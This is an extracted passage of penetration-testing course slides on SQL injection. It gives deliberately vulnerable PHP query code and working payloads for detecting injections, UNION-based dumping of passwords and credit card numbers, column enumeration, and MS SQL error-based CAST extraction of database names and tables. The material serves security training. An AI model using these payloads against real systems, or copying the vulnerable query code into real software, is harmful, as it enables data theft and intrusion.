You are on page 1of 281

5.1.

Introduction to SQL Injections

5.2. Finding SQL Injections

5.3. Exploiting In-Band SQL Injections

5.4. Exploiting Error Based SQL Injections

5.5. Exploiting Blind SQL Injections

5.6. SQLMap

5.7. Mitigation Strategies

5.8. From SQLi to Server Takeover

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
A SQL Injection (SQLi) attack exploit the injection of SQL
commands into the SQL queries of a web application. A successful
SQLi attack lets a malicious hacker access and manipulate a web
applications backend database.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Complex web applications generally use a database for storing
data, user credentials or statistics. CMSs, as well as simple personal
web pages, can connect to databases such as MySQL, SQL Server,
Oracle, PostgreSQL, and others.

To interact with databases, entities such as systems operators,


programmers, applications and web applications use the
Structured Query Language (SQL).

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


SQL is a powerful interpreted language used to extract and
manipulate data from a database. Web applications embed SQL
commands, also known as queries, in their server-side code.

The code takes care of establishing and keeping the connection to


the database by using connectors. Connectors are middle-ware
between the web application and the database.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Connector Example:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Before learning how to carry out an attack, we have to know
some SQL basics:

• SQL statements syntax


• How to perform a query
• How to union the results of two queries
• The DINSTINCT and ALL operators
• How comments work

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
A SQL statement looks like the following:

> SELECT name, description FROM products WHERE id=9;

The above code queries the database, asking for the name and the
description of a record in the products table. In this
example, the selected record will have id value equal 9.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
In order to better understand SQLi, you need to know the basic
syntax of a SELECT statement:

> SELECT <columns list> FROM <table> WHERE <condition>;

You can find more information about SQL here.

https://www.w3schools.com/sql/sql_intro.asp

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


It is also possible to select constant values:

Example:

> SELECT 22, 'string', 0x12, 'another string';

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


You also need to know the UNION command, which performs a
union between two results, operates:

> <SELECT statement> UNION <other SELECT statement>;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If a table or query contains duplicate rows, you can use the
DISTINCT operator to filter out duplicate entities:

> SELECT DISTINCT <field list> <remainder of the statement>;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


A UNION statement implies DISTINCT by default. You can prevent
that by using the ALL operator:

> <SELECT statement> UNION ALL <other SELECT statement>;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Finally, a word about comments. There are two strings you can use
to comment a line in SQL:
• # (the hash symbol)
• -- (two dashes followed by a space)

> SELECT field FROM table; # this is a comment


> SELECT field FROM table; -- this is another comment

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
In the following slides, we will see some SQL queries performed on
a database containing two tables:
Products
Accounts
ID Name Description
Username Password Email
1 Shoes Nice shoes
admin HxZsO9AR admin@site.com
3 Hat Black hat
staff ihKdNTU4 staff@site.com
18 T-Shirt Cheap
user Iwsi7Ks8 usr@othersite.com

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• The following two queries provide the same result:

> SELECT Name, Description FROM Products WHERE ID='1';

> SELECT Name, Description FROM Products WHERE Name='Shoes';

• The result of the queries is a table containing just one row:


Name Description

Shoes Nice shoes

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• This is a UNION example between two SELECT statements:
> SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
Username, Password FROM Accounts;

• The result of the query is a table Name Description


containing a row with the Hat Hat Black hat
item and all the usernames and
admin HxZsO9AR
passwords from the Accounts
staff ihKdNTU4
table:
user Iwsi7Ks8

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• You can also perform a UNION operation with some chosen
data:

> SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
'Example', 'Data';

• The result of the query is a table Name Description


containing a row with the Hat Hat Black hat
item and the provided custom Example Data
row:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The previous examples show how to use SQL when querying a database
directly from its console.

To perform the same tasks from within a web application, the application
must:
• Connect to the database
• Submit the query to the database
• Retrieve the results

Then, the application logic can use the results.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The following code contains a PHP example of a connection to a
MySQL database and the execution of a query.
Example:
$dbhostname='1.2.3.4';
$dbuser='username';
$dbpassword='password';
$dbname='database';

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT Username,
Password FROM Accounts;";

$results = mysqli_query($connection, $query);


display_results($results);

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The previous example shows a static query example inside a
PHP page:
• $connection is an object referencing the connection to
the database.
• $query contains the query.
• mysqli_query() is a function which submits the query to
the database.
• Finally, the custom display_results() function renders
the data.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Anatomy of a database interaction in PHP. This example uses a MySQL
database.

$dbhostname='1.2.3.4';
Configuration
$dbuser='username';
$dbpassword='password'; Connection
$dbname='database';

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT
Username, Password FROM Accounts;";
Query
$results = mysqli_query($connection, $query);
definition
display_results($results);

Usage Submit

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


However, most of the times queries are not static; they are indeed
dynamically built by using user' inputs. Here you can find a
vulnerable dynamic query example:
Example:

$id = $_GET['id'];

$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);


$query = "SELECT Name, Description FROM Products WHERE ID='$id';";

$results = mysqli_query($connection, $query);


display_results($results);

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The previous example shows some code which uses user-supplied
input to build a query (the id parameter of the GET request). The
code then submits the query to the database.

This behavior is very dangerous because a malicious user can


exploit the query construction to take control of the database
interaction.

Let’s see how!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The dynamic query:
SELECT Name, Description FROM Products WHERE ID='$id';

Expects $id values such as:


• 1 SELECT Name, Description FROM Products WHERE ID='1';
• Example SELECT Name, Description FROM Products WHERE ID='Example';
• Itid3 SELECT Name, Description FROM Products WHERE ID='Itid3';

Or, any other string.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


But, what if an attacker crafts an $id value which can actually
change the query? Something like:

' OR 'a'='a

Then the query becomes:

SELECT Name, Description FROM Products WHERE ID='' OR 'a'='a';

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This tells the database to select the items by checking two conditions:
• The id must be empty (id='')
• OR an always true condition ('a'='a’)

While the first condition is not met, the SQL engine will consider the
second condition of the OR. This second condition is crafted as an always
true condition.

In other words, this tells the database to select all the items in the
Products table!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


An attacker could also exploit the UNION command by supplying:

' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a

Thus, changing the original query to:

SELECT Name, Description FROM Products WHERE ID='' UNION SELECT


Username, Password FROM Accounts WHERE 'a'='a';

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This asks the database to select the items with an empty id, thus
selecting an empty set, and then to perform a union with all the
entries in the Accounts table.

By using some deep knowledge about the database management


system in use, an attacker can get access to the entire database
just by using a web application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Before going deeper into the “find and exploit process” of SQL
injection vulnerabilities, you should understand where these
vulnerabilities can lead when they are successfully exploited.

First, we have to understand that according to the DBMS (MySQL,


SQL Server…) which the web application is using, the attacker is
capable of performing a number of actions that go much further
than the mere manipulation of the database.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


An attacker could read the file system, run OS commands, install
shells, access the remote network and basically own the whole
infrastructure.

This is not always the case; however, we will see later on that the
more powerful the DBMS, the more advanced the SQL is, and the
greater the capabilities of an attacker after an exploitation.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Keep in mind that accessing a database that stores confidential
data (user credentials, SSNs, credit cards and whatever sensitive
information an enterprise, a company or individual may store in a
database) is the single most dangerous form of attack on a web
application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Among all the vulnerabilities that may affect web applications, SQL
injections are the first checked by hackers because they produce
the most immediate results.

Example:

An XSS attack involves some steps, intelligence, and planning for


its successful exploitation. A SQL injection vulnerability, once
found, is ready to be exploited.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


There is a great deal of literature about SQLi, and there are many
different types of classifications, each one based on different
aspects such as:
• Scope of the attack
• Exploitation vector
• Source of the attack

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In this course we will refer to:
• In-band SQL injection attacks and exploitation
• Error-based SQL injection attacks and exploitation
• Blind SQL injection attacks and exploitation

These classifications are based on the exploitation method used to


carry out the attack. Keep it in mind as it will help you to better
follow the explanation of the detection and exploitation phases.
Let’s see it in detail!
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
In-band SQL injections leverage the same channel used to inject
the SQL code (i.e., the pages generated by the web application).

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

During and in-band attack the penetration tester finds a way to ask
the the web application for the desired information.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


During an Error-Based SQL injection attack, the penetration tester
tries to force the DMBS to output an error message and then uses
that information to perform data exfiltration.

Error
Management

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
To exploit an error-based injection, the penetration tester needs to
use advanced DBMS features. Errors could be sent either via the
web application output or by other means, such as automated
reports or warning emails.

Error
Management

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


A web application vulnerable to blind SQL injection does not
reflect the results of the injection on the output. In this case, the
penetration tester must find an inference method to exploit the
vulnerability.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

Inference exploitation is carried out mostly by using true/false


conditions.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

The penetration tester can understand if a condition is true or false


by studying the web application behavior.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the next sections of this module, we will see how to detect and
exploit various SQL injection vulnerabilities.

Everything you have just seen will fall into place!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
To exploit a SQL injection, you have to first find where the injection
point is, then you can craft a payload to take control over your
target dynamic query.

The most straightforward way to find SQL injections within a web


application is to probe its inputs with characters that are known to
cause the SQL query to be syntactically invalid and thus forcing the
web application to return an error.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Note: not all the inputs of a web application are used to build SQL
queries. In the Information Gathering module, we suggested that
you categorize the different input parameters and save the ones
used for database data retrieval and manipulation.

In the following slides, we will see how to use the information


gathered to identify and exploit SQLi vulnerabilities.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Input parameters are carried through GET and POST requests,
HEADERS and COOKIES. So, we have to check all the channels
where data is retrieved from the client.

The following examples, for the sake of simplicity, will examine


scenarios where inputs are taken straight from the URL (with the
GET method). The same techniques apply to the other channels.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


For the purpose of explaining the process of finding SQL Injections,
we created a small (vulnerable) e-commerce web application
showcasing cell phones for sale.

Example:

ecommerce.php takes an input parameter named id that reads


the product features from the database and prints them out on the
page.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• The id parameter is
expected to be an
integer. Sending the
id=1 GET parameter
makes the application
behave correctly.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Sending a comma, however, makes the application throw an
error.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Testing an input for SQL injection means trying to inject:
• String terminators: ' and "
• SQL commands: SELECT, UNION, and others
• SQL comments: # or --

And check if the web application starts to behave oddly.

Always test one injection at a time! Otherwise, you will not be


able to understand what injection vector is successful.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The web application we have just seen prints internal errors on its
output pages.

This behavior helps developers and penetration testers to


understand what is going on under the hood of a web application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Every DBMS responds to incorrect SQL queries with different error
messages.

Even within the same DBMS, error messages change according to the
specific function the web application uses to interact with it.

Example:

In the previous example, we saw the mysql_fetch_assoc()


function triggering an error due to our invalid input.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• A typical error from MS-SQL looks like this:

Incorrect syntax near [query snippet]

• While a typical MySQL error looks more like this:

You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to
use near [query snippet]

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If during an engagement you find errors similar to the previous
ones, it is very likely that the application is vulnerable to SQL
injection attacks.

This is not always the case; sometimes you have to have educated
guesses in order to understand if a web app is vulnerable or not.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Currently, most production websites do not display such errors.

This happens both because of the usability of the application; it is


useless to display errors to end users who cannot understand or fix
them, and a to achieve security through obscurity.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Security through obscurity is the use of secrecy of design,
implementation or configuration in order to provide security.

In the following slides, you will see how this approach cannot
defend a vulnerable application from SQL injection attacks.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If a web application does not display errors on its output, it is still
possible to test for SQL injection by using a Boolean based
detection technique.

The idea behind this process is simple yet clever, trying to craft
payloads which transform the web application queries into
True/False conditions. The penetration tester can then infer the
results of the queries by looking at how the application behavior
changes with different True/False conditions.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

To demonstrate a Boolean
based SQLi detection, we
created a website hosting an
image gallery.

Every image has an ID that


identifies it.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• As usual, we try to detect the injection point by sending to the web
application SQL-reserved characters. In this example a string
termination character. The web application does not display any
image.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Unfortunately, the application behaves in the same way when we ask
for an image that simply does not exist. For example, if we pass
id=999999 as GET parameter:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• We suspect that the query behind the page is something like

SELECT <some fields> FROM <some table> WHERE id='GETID';

• So we can try to inject 999999' or '1'='1 to transform the query


into:
SELECT <some fields> FROM <some table> WHERE id='999999 or '1'='1';

Which basically is an always true condition!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Testing the payload on
the web application
gives us back an
output! To be sure, we
also need to test an
always false condition.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• We then change our payload to 999999' or '1'='2 which is an
always false condition.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• It is also possible to test a little more with other always true or
always false conditions, such as:
• 1141' and 'els'='els
• 1141' and 'els'='elsec
• 1141' and 'hello'='hello
• 1141' and 'hello'='bye
• els' or '1'='1
• els' or '1'='2

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After detecting a potential injection point, it is time to test if it is
actually exploitable.

In the following chapters, you will see different techniques to


exploit SQL injection vulnerabilities.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the next video, you will see how to identify SQL injection
vectors.

You will see how to use Boolean logic injections to test vulnerable
parameters and use SQLMap to perform basic SQLi exploitation.

We will also see, in detail, how to use SQL later in this module.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
In-band SQL injection techniques make the retrieval of data from
the database very powerful thanks to the use of the UNION SQL
command. For this reason, in-band injections are also known as
UNION-based SQL injections.

This kind of attack lets a penetration tester extract the database


content, in the form of the database name, tables schemas, and
actual data.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


As we have seen in the first chapter of this module, the UNION
statement combines the result-set of two or more SELECT
statements.

Example:

SELECT <field list> FROM <table> UNION SELECT <field list> FROM <another table>;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We will see how to exploit in-band SQL injection by studying some scenarios. In
the first scenario, the database contains two tables: CreditCards and
Users.
CreditCards
id (int) username (string) password (string) real_name (string)
1 admin strongpass123 Armando Romeo
2 fred wowstrongpass123 Fred Flintstone

Users
user_id (int) Cc_num (int) CVS(int)
1 0000 1111 2222 3333 123
2 0123 4567 8901 2345 321

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The user_id column is the foreign key of the Users table. In this
example, admin has a credit card number of 0000 1111 2222
3333, while fred has a credit card number of 0123 4567 8901
2345.
CreditCards
id (int) username (string) password (string) real_name (string)
1 admin strongpass123 Armando Romeo
2 fred wowstrongpass123 Fred Flintstone

Users
user_id (int) Cc_num (int) CVS(int)
1 0000 1111 2222 3333 123
2 0123 4567 8901 2345 321

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The web application uses the following code to display usernames:

<?php
$rs=mysql_query("SELECT real_name FROM users WHERE id=".$_GET['id'].";");
$row=mysql_fetch_assoc($rs);

echo $row['real_name'];
?> SQL injection!

As you can see, there is a clear SQL injection in the id field of the
SQL query.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can now exploit the SQLi vulnerability to retrieve the credit
card associated with a username.

Our payload is:

9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The payload makes the query in the web application transform into
the following:

SELECT real_name FROM users WHERE id=9999 UNION ALL SELECT


cc_num FROM CreditCards WHERE user_id=1;

As there are no users with id=9999, the web application will


display on its output the cc_num of the first user!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can now submit the payload to the web application by sending
a GET request with either the browser or via a different tool:

/vuln_to_inband.php?id=9999 UNION ALL SELECT cc_num FROM


CreditCards WHERE user_id=1

Note the use of the ALL operator. We used it to avoid the effect of
an eventual DISTINCT clause in the original web application query.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Another good trick to use when exploiting a SQL injection
vulnerability is using comments. A payload such as:

9999 UNION ALL SELECT cc_num FROM CreditCards WHERE user_id=1; -- -

Query termination and comment


comments out any other SQL code which could follow our injection
point.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


There are many things to note in the previous attack:
• The field types of the second SELECT statement should match the
ones in the first statement

• The number of fields in the second SELECT statement should match


the number of the fields in the first statement

• To successfully perform the attack, we need to know the structure


of the database in terms of tables and column names

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To solve the first two issues, we can use an advanced technique to
find what columns are used in a SELECT statement. We are looking
for the number of columns and their type.

We will see how to reverse-engineer the database structure later.


In the following examples, we assume that we know the structure
of the database.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Let’s see how to enumerate the number of columns, or fields, a
query selects. The following line contains the vulnerable query:

mysql_query("SELECT id, real_name FROM users WHERE id=".$GET['id'].";");

The columns have the following data types:


• id has data type int
• real_name has data type varchar (a string)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In this case, the query selects two columns with type integer and
varchar.

As most of engagements are black-box penetration tests, we need


a way to find:
• Number of columns a vulnerable query selects
• The data type of each column

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Finding the number of fields in a query is a cyclical task. If we do
not provide the correct number of fields in the injected query, it
will not work.

This will throw an error on the web application output or simply


mess up the contents of the output page rendering.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If the web application outputs the error, please note that every DBMS
outputs a different error string:

• MySQL error:
The used SELECT statements have a different number of columns

MS SQL error:
All queries in an SQL statement containing a UNION operator
must have an equal number of expressions in their target
lists

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• PostgreSQL error:

ERROR: each UNION query must have the same number of columns

• Oracle error:

ORA-01789: query block has incorrect number of result columns

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


So, we start injecting a query that selects null fields. We start with
a single field and then increase the number of fields until we build
a valid query.
Example:
Detecting the number of fields needed to exploit an in-band SQL
injection looks like the following:
•1 9999 UNION SELECT NULL; -- -
•2 9999 UNION SELECT NULL, NULL; -- -
•n ...
•4 9999 UNION SELECT NULL, NULL, NULL, NULL; -- -

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can iteratively add null fields until the error disappears; this will force the
web application to execute the following queries:
• SELECT id, real_name FROM users WHERE id='9999'
UNION SELECT NULL; -- -
Which triggers an error: the left-hand query selects two fields while the
right-hand query selects just one field

• SELECT id, real_name FROM users WHERE id='9999'


UNION SELECT NULL, NULL; -- -
Which works without triggering errors, as the two statements are
balanced

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


However, what about a web application that does not display
errors?

The basic idea is similar (increasing the number of fields at every


step), but in this case, we want to start with a valid id and then
inject our query.

As we did before, we increase the number of fields selected until


we create a valid query.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

The view.php page displays


a picture with id 1138.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We try to inject a query with a
single field.

The payload is:


1138' UNION SELECT null; -- -

The page is not rendered


correctly; there must be an error
in the query.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We increase the number of fields.

The payload is:


1138' UNION SELECT null,null; -- -

The page now works; this means


that the query is correct.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• With our last payload we forced the web application to run the
following query:

SELECT field1, field2 FROM table where id='1138' UNION SELECT null, null; -- -
<remainder of the original query>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After identifying the number of fields, we need to find their type.
Most of the DBMSs perform type enforcing on the queries.

Example:

If the DBMS performs type enforcing on UNION statements, you cannot


perform a UNION between an integer and a string, therefore,
SELECT 1 UNION 'a';
will trigger an error!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Depending on how the DBMS handles data types, we are required
to provide an exact match of the data types for each column in the
two SELECT statements.
DBMS Type Enforcing
MySQL No
MS SQL Server Yes
Oracle Yes
PostgreSQL Yes

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Finding the data types used in the queries is, once again, a cyclical
process. We have to:
• Substitute one of the null fields in our payload with a
constant
• If the constant type used is correct, the query will work
• If the type is wrong, the web application will output an
error or misbehave

In the next example, we will try to find the data types used in a
query.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Example:

We found an in-band SQL injection with two fields. Our current


payload is:
' UNION SELECT null, null; -- -

So we try to test if the first field is an integer by sending:

' UNION SELECT 1, null; -- -

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• If the web application works correctly we can assume that the
first field is an integer, so we proceed from:

' UNION SELECT 1, null; -- -

• To:

' UNION SELECT 1, 1; -- -

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• If we get an error or the application misbehaves, then the
second field is not an integer; therefore, we can move on to:

' UNION SELECT 1, 'a'; -- -

As we see for this example, the second field is a string!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After finding out the number of columns and their type, it is
possible to extract information about the database, the server, and
the database data.

We will see how to use specific DBMS features to extract this


information later. Let’s first cover other exploitation techniques.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In this video, you will see how to manually exploit in-band SQL
injections!

You will see how to:


• Find the number of fields in a query
• Find their type
• Inject attacker-controlled queries

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Error-based SQL injections are another way to retrieve data from
the database. While they do not ask for data directly, they actually
use some advanced DBMS functions to trigger an error.

The error message contains the information the penetration tester


is aiming for.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Most of the times the error message is reflected in the web
application output, but it could also be embedded in an email
message or appended to a log file. It depends on how the web
application is configured.

Error-based SQL injection is one of the fastest ways to extract data


from a database. It is available on DMBSs such us Oracle,
PostgreSQL and MS SQL Server.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Some DBMSs are very generous in terms of information given
within error messages. In some of the previous examples, we used
errors to match conditions of success or failure.

This time, we’ll retrieve database names, schemas, and data from
the errors themselves. We will see some MS SQL Server specific
payloads and then introduce some attack vectors for other DBMSs.
The basic principle is the same across any DBMS.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


MS SQL Server reveals the name of database objects within error
messages. Let’s see it in action!

We ported our vulnerable e-commerce application to ASP+MSSQL


to show the process of dumping the whole database schema and
data manually.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The schemas are databases with the singular purpose of describing
all the other user-defined databases in the system.

In MSSQL, sa is the super admin and has access to the master


database. The master database contains schemas of user-defined
databases.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The first piece of information we would like to know is the
database version so that we can build our exploits accordingly.

To do this, we will force the DBMS to show an error including the


database version.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


One of the most used tricks is to trigger a type conversion error
that will reveal us the wanted value.

From now on, we will refer to this scenario:


• DBMS is MS SQL Server
• The vulnerable app is ecommerce.asp?id=1
• The id parameter is vulnerable to SQLi

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The injection payload used for this technique is as follows:

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This payload is used as input to the vulnerable parameter of the


web app: ecommerce.asp?id=PAYLOAD.

We can now dissect the payload to understand all its parts.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Returning no records

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

9999999 is just a bogus value; you can put everything here


provided that it is not an id present in the database (we want the
OR part of the SQL query to be executed, so the first condition
should be FALSE).

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Triggering an error

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This is the part of the SQL that will trigger the error.

We are asking the database to look for integer value 1 within a


varchar column.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Casting

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

This is where we insert the column that we want to dump. (Either


a column of a user-defined database or a "special" database
column). <FIELDNAME> can also be a SQL function like
user_name() or a variable like @@version.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Narrowing down

9999999 or 1 in (SELECT TOP 1 CAST(<FIELDNAME> as varchar(4096))


from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); --

We will use this part in the iterations to dump database data.

This part can be omitted/adjusted at our disposal according to


which table our searched fieldname value belongs to.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Retrieving the SQL Server version

9999999 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--

This is a very simple example of how to use this type of payload.


We used the @@version variable name.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

Running the previous payload on the vulnerable web application


makes it print the output:

[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion


failed when converting the varchar value 'Microsoft SQL Server
2008 R2 (SP2) - 10.50.4000.0 (X64) Jun 28 2012 08:36:30 Copyright
(c) Microsoft Corporation Express Edition (64-bit) on Windows NT
6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

Thus, printing the DBMS version.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Knowing the database version is really important because it helps
you during the exploitation phase.

Example:
Different MS SQL Server versions have different default column names in
the master database.

We can find information about the structure of the master database on


MSDN.
https://msdn.microsoft.com/en-us/library/ms187837.aspx

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the following slides, we will see how to extract information from
a database by using error-based SQL injections:
• Current database username
• Current database name
• Installed databases
• The tables into a given database
• The columns of a given table
• Database data`

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can now see how to extract various information via error-
based SQL injections by using the CAST technique.

In the following examples, we will attack a vulnerable web


application:
http://somesite.xxx/vuln.php?id=1

The id parameter is vulnerable; therefore, we will inject our


payloads via a web browser.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
• The first step is to understand the level of privilege we have by
finding the current database user:

9999 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096))) --

User_name() is an MS SQL function which returns the current


database user.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• This is the output of the web application:
[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion
failed when converting the varchar value 'user' to data type int.

The current database user is just user, so we do not have


administrative privileges (as the sa user would have).

We can still dump all the databases to which user has access to.
So, the next step is enumerating the databases that user can
access.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• To do that, we will iterate through the MASTER database to
find all the databases that we can read. The payload is:

9999 or 1 in (SELECT TOP 1 CAST(db_name(0) as varchar(4096))) --

The DB_NAME() function accesses the master..sysdatabases


table which stores all the databases installed on the server. We
can only see the databases that user has rights to.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• To enumerate all the databases that user can access, we just
have to increment the db_name() argument:

9999 or 1 in (SELECT TOP 1 CAST(db_name(1) as varchar(4096))) --

To 1, 2, 3 and continue until we cannot enumerate more


databases.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We now have a list of installed databases and the current database
in use.

This time we want to enumerate all the tables in the current


database (the same technique can easily be modified to apply to
the other databases).

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We will use the following payload scheme:
9999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM
<database name>..sysobjects WHERE xtype='U' and name NOT IN
(<known table list>)); --

• xtype='U'
• Means that we are only interested in user-defined tables
• name NOT IN ('<known table list>')
• name is a column of the "sysobjects" special table. Every time
we find a new table we will append it to the NOT IN list. This is
needed because the error displays only the first table name

